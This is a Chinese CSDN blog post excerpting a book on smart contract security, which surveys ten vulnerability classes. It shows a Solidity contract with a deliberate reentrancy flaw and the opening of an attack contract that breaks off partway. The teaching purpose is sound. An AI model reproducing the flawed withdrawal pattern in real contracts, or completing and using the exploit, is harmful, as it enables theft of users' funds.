解密智能合约TOP10安全漏洞

本文深入探讨了智能合约的十大安全漏洞,包括重入问题、变量覆盖、逻辑错误、鉴权问题、整数溢出等。通过实例展示了如何利用这些漏洞进行攻击,如著名的DAO攻击。此外,还提到了拒绝服务攻击、插队攻击、伪随机数问题和以太短地址攻击,强调了对智能合约安全性的重要性和潜在风险。
摘要由CSDN通过智能技术生成

以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容

电子版PDF下载:https://download.csdn.net/download/softgmx/10800947

 

重入问题

漏洞成立的条件:

  1. 合约调用带有足够的gas
  2. 有转账功能(payable)
  3. 状态变量在重入函数调用之后

底层转账函数

防重入

错误处理

<address>.call.value()()

NO

返回false

<address>.send()

YES

返回false

<address>.transfer()

YES

Revert stateDB到调用前状态

<address>.call.value()的实现:

 

<address>.send()的实现:

 

<address>.transfer()的实现:

 

Transfer能在调用失败时候主动抛出异常的原理:

 

漏洞案例合约:

contract EtherStore {

    uint256  public  withdrawalLimit = 1 ether;

    mapping(address => uint256)  public  lastWithdrawTime;

    mapping(address => uint256)  public  balances;

    function depositFunds()  public  payable {

        balances[msg.sender] += msg.value;

    }

    function withdrawFunds (uint256 _weiToWithdraw)  public {

        require(balances[msg.sender] >= _weiToWithdraw);

        // limit the withdrawal

        require(_weiToWithdraw <= withdrawalLimit);

        // limit the time allowed to withdraw

        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

        require(msg.sender.call.value(_weiToWithdraw)());

        balances[msg.sender] -= _weiToWithdraw;

        lastWithdrawTime[msg.sender] = now;

    }

 }

攻击合约:

import "EtherStore.sol";

contract Attack {

  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {

      etherStore = EtherStore(_etherStoreAddress);

  }

  function pwnEtherStore()  public  payable {

      require(msg.value >= 1 ether);

      etherStore.depositFunds.value(1 ether)();

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值